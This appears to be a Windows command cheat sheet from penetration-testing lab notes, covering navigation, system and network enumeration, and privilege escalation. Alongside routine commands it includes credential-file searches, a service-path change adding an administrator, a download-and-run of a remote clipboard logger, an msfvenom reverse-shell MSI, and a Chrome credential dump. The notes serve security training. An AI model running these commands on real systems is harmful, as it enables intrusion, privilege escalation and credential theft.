Table of Contents


Help

If you don’t know a command or need more explanation, these are good commands (like -h and man in linux)
Get-Help
Get-Command


Basic Navigation

Show insides of a file:
Get-Content
type

Show files and folders in a given location:
Get-ChildItem
Dir

Change directories:
Set-Location
cd

Show existing modules and also add new modules:
Get-Modules
Import-Modules


Enumeration

There are also some great command for early simple enumeration. From system and kernel info, to processes, services and user and groups.

Basic Enumeration:
Search for a specific file:
Get-ChildItem -Path C:\ -Recurse -Filter "password.txt" -ErrorAction SilentlyContinue - Search for a file name in a C:\ drive
dir C:\password.txt /S /P - Search for a file name in a C:\ drive

Search for a specific file extension:
Get-ChildItem C:\ -Recurse -Include *.rdp, *.config, *.vnc, *.cred -ErrorAction Ignore - Search for file extensions using PowerShell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* - Search for file extensions
where /R C:\ *.config - Search for file extensions

Search for a specific string in a file:
select-string -Path C:\Users\htb-student\Documents\*.txt -Pattern password - Search file contents with PowerShell
findstr /SIM /C:"password" *.txt *ini *.cfg *.config *.xml - Search for files with the phrase “password” inside of them
cd c:\Users\htb-student\Documents & findstr /SI /M "password" *.xml *.ini *.txt - Searching file contents for a string
findstr /si password *.xml *.ini *.txt *.config - Searching file contents for a string
findstr /spin "password" *.* - Searching file contents for a string

systeminfo - Display all environment variables
[environment]::OSVersion.Version - Checking Windows version
wmic qfe - Get patches and updates
wmic product get name - Get installed programs

whoami /priv - View current user privileges
whoami /groups - View current user group information
Or just whoami /all to view all the info.

tasklist - Display running processes
get-process -Id 3324 - Enumerating a process ID with PowerShell
sc query - Display running services
get-service \| ? {$_.DisplayName -like 'Druva*'}- Enumerate a running service by name with PowerShell

query user - Get logged in users
cmd /c echo %PATH% - Reviewing path variable
set - Display all environment variables

Local network enumeration:
net user - Get all system users
net localgroup - Get all system groups
net accounts - Get password policy

Network information:
ipconfig /all - Get interface, IP address and DNS information
arp -a - Review ARP table
route print - Review routing table
netstat -ano - Display active network connections. Similar if you’d do a port scan with nmap but from the local view. Some ports may seem blocked from outside, but can be opened from the inside!

File ownership:
dir /q C:\backups\wwwroot\web.config - Checking ownership of a file
takeown /f C:\backups\wwwroot\web.config - Taking ownership of a fil
Get-ChildItem -Path ‘C:\backups\wwwroot\web.config’ \| select name,directory, @{Name=“Owner”;Expression={(Ge t-ACL $_.Fullname).Owner}} - Confirming changed ownership of a file
icacls “C:\backups\wwwroot\web.config” /grant htb-student:F - Modifying a file ACL


Actions on a system

Archives:
Expand-Archive C:\a.zip -DestinationPath C:\a - Unzip a file with Powershell

Actions on services:
sc start dns - Starting a service
sc query dns - Checking a service status
sc stop dns - Stopping a service
sc.exe sdshow DNS - Checking permissions on DNS service
sc config AppReadiness binPath= "cmd /c net localgroup Administrators server_adm /add" - Modifying a service binary path

Editing registry:
reg query \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters - Querying a registry key
reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll - Deleting a registry key
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f - Creating a registry key

Checking the UAC:
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA - Confirming UAC is enabled
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin - Checking UAC level

Checking file rights:
Get-Acl - Check ACL of a file (ACEs assigned) with Powershell
icacls "C:\" - Check ACL of a file (ACEs assigned) with CMD


Privilege Escalation

Searching through the PS history:
(Get-PSReadLineOption).HistorySavePath - Confirm PowerShell history save path
gc (Get-PSReadLineOption).HistorySavePath - Reading PowerShell history file
$credential = Import-Clixml -Path 'C:\scripts\pass.xml' - Decrypting PowerShell credentials

Look for credentials in the clipboard:
cmdkey /list - List saved credentials

Also we can use the Invoke-Clipboard script to extract user clipboard data.
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/inguardians/Invoke-Clipboard/master/Invoke-Clipboard.ps1')
Invoke-ClipboardLogger
It is a logger! So someone would have to access these credentials in real time for it to work.

Checking (and exploiting) the “always install elevated” key:
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer - Query for always install elevated registry key (1)
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer - Query for always install elevated registry key (2)
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.3 lport=9443 -f msi > aie.msi - Generate a malicious MSI package
msiexec /i c:\users\htb-student\desktop\aie.msi /quiet /qn /norestart - Executing an MSI package from command line


Browsers

Searching for credentials in browsers:
gc 'C:\Users\htb-student\AppData\Local\Google\Chrome\User Data\Default\Custom Dictionary.txt' | Select-String password - Searching for passwords in Chrome dictionary files
.\SharpChrome.exe logins /unprotect - Retrieve saved Chrome credentials